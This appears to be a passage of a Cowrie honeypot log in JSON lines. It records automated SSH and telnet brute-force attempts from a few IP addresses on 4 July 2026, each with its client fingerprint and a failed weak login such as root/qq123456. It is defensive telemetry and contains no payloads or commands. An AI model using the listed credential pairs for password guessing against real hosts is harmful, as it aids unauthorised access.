{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:13.779658Z","src_ip":"45.156.87.253","session":"6c6f529fd4f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"123456","message":"login attempt [username/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:14.026987Z","src_ip":"45.156.87.253","session":"6c6f529fd4f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:15.113853Z","src_ip":"45.156.87.253","session":"6c6f529fd4f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.915997743606567,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:15.136427Z","src_ip":"72.167.226.244","session":"68894e9e7465","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":52866,"dst_ip":"10.17.0.5","dst_port":22,"session":"b23a8a3a8609","protocol":"ssh","message":"New connection: 45.156.87.253:52866 (10.17.0.5:22) [session: b23a8a3a8609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:17.010147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:17.014321Z","src_ip":"45.156.87.253","session":"b23a8a3a8609","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:17.095756Z","src_ip":"45.156.87.253","session":"b23a8a3a8609","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:17.341966Z","src_ip":"45.156.87.253","session":"b23a8a3a8609","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:18.449851Z","src_ip":"45.156.87.253","session":"b23a8a3a8609","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":43538,"dst_ip":"10.17.0.5","dst_port":22,"session":"23fb47e34f9f","protocol":"ssh","message":"New connection: 45.156.87.253:43538 (10.17.0.5:22) [session: 23fb47e34f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:20.441327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:20.451122Z","src_ip":"45.156.87.253","session":"23fb47e34f9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:20.532900Z","src_ip":"45.156.87.253","session":"23fb47e34f9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:20.778546Z","src_ip":"45.156.87.253","session":"23fb47e34f9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:21.862217Z","src_ip":"45.156.87.253","session":"23fb47e34f9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":43544,"dst_ip":"10.17.0.5","dst_port":22,"session":"6005e98708ee","protocol":"ssh","message":"New connection: 45.156.87.253:43544 (10.17.0.5:22) [session: 6005e98708ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:23.838349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:23.842447Z","src_ip":"45.156.87.253","session":"6005e98708ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:23.923211Z","src_ip":"45.156.87.253","session":"6005e98708ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:24.169893Z","src_ip":"45.156.87.253","session":"6005e98708ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":41078,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a5bb45308a8","protocol":"ssh","message":"New connection: 91.92.40.11:41078 (10.17.0.5:22) [session: 9a5bb45308a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:24.423849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:24.488546Z","src_ip":"91.92.40.11","session":"9a5bb45308a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:24.582017Z","src_ip":"91.92.40.11","session":"9a5bb45308a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator","message":"login attempt [administrator/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:25.095140Z","src_ip":"91.92.40.11","session":"9a5bb45308a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:25.332576Z","src_ip":"45.156.87.253","session":"6005e98708ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:26.317319Z","src_ip":"91.92.40.11","session":"9a5bb45308a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":43552,"dst_ip":"10.17.0.5","dst_port":22,"session":"87d6a4fc2029","protocol":"ssh","message":"New connection: 45.156.87.253:43552 (10.17.0.5:22) [session: 87d6a4fc2029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:27.003136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:27.007141Z","src_ip":"45.156.87.253","session":"87d6a4fc2029","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:27.087884Z","src_ip":"45.156.87.253","session":"87d6a4fc2029","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yun@wocloud.szkj","message":"login attempt [root/Yun@wocloud.szkj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:27.333851Z","src_ip":"45.156.87.253","session":"87d6a4fc2029","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:28.424900Z","src_ip":"45.156.87.253","session":"87d6a4fc2029","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":38790,"dst_ip":"10.17.0.5","dst_port":22,"session":"55e26cda0961","protocol":"ssh","message":"New connection: 45.156.87.253:38790 (10.17.0.5:22) [session: 55e26cda0961]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:30.327727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:30.332014Z","src_ip":"45.156.87.253","session":"55e26cda0961","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:30.414083Z","src_ip":"45.156.87.253","session":"55e26cda0961","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"1234","message":"login attempt [claude/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:30.659921Z","src_ip":"45.156.87.253","session":"55e26cda0961","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":56868,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b342f14ec6c","protocol":"telnet","message":"New connection: 72.167.226.244:56868 (10.17.0.5:23) [session: 9b342f14ec6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:31.223477Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:31.742589Z","src_ip":"45.156.87.253","session":"55e26cda0961","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":38810,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c71cfa36c6c","protocol":"ssh","message":"New connection: 45.156.87.253:38810 (10.17.0.5:22) [session: 1c71cfa36c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:33.584897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:33.588467Z","src_ip":"45.156.87.253","session":"1c71cfa36c6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:33.671333Z","src_ip":"45.156.87.253","session":"1c71cfa36c6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:33.914544Z","src_ip":"45.156.87.253","session":"1c71cfa36c6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:35.051824Z","src_ip":"45.156.87.253","session":"1c71cfa36c6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":38828,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc7de9c90b6f","protocol":"ssh","message":"New connection: 45.156.87.253:38828 (10.17.0.5:22) [session: dc7de9c90b6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:36.812960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:36.816927Z","src_ip":"45.156.87.253","session":"dc7de9c90b6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v0